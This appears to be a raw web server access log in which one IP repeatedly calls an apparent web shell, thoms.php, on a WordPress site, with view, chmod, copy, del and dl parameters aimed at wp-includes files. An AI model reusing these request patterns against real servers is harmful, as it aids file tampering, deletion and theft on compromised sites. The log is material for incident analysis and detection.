45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59457 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 200 13289 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /thoms.php?del=abilities.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 200 20309 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:56 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59286 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /betcity.com.tw/wp-includes/rss-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 200 12102 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /betcity.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?chmod=registration-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fscript-modules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fscript-modules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fbookmark.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fbookmark.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-files.php HTTP/1.1" 200 13207 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /thoms.php?chmod=pluggable.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?del=class-wp-walker.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:57 -0400] "GET /thoms.php?dl=https-migration.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59250 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /thoms.php?chmod=rss.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /betcity.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 200 15958 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /betcity.com.tw/wp-includes/class-wp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /betcity.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 200 21765 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /thoms.php?chmod=class-wp.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 200 24793 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /thoms.php?chmod=class-http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php HTTP/1.1" 200 13971 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:58 -0400] "GET /betcity.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 200 15504 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Flink-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Flink-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 200 12913 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?del=revision.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=revision.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 200 56944 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:59 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=script-modules.php HTTP/1.1" 200 15146 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:00 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:00 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:00 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:00 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:00 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 200 14870 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:00 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:00 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:00 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 200 21404 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:00 -0400] "GET /betcity.com.tw/wp-includes/sitemaps/ HTTP/1.1" 200 1323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 200 12348 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:00 -0400] "GET /thoms.php?del=json-schema.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=json-schema.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=kses.php HTTP/1.1" 200 40639 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 200 13135 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /thoms.php?dl=post.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=post.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /thoms.php?chmod=class-smtp.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /betcity.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /betcity.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:01 -0400] "GET /thoms.php?del=class-pop3.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
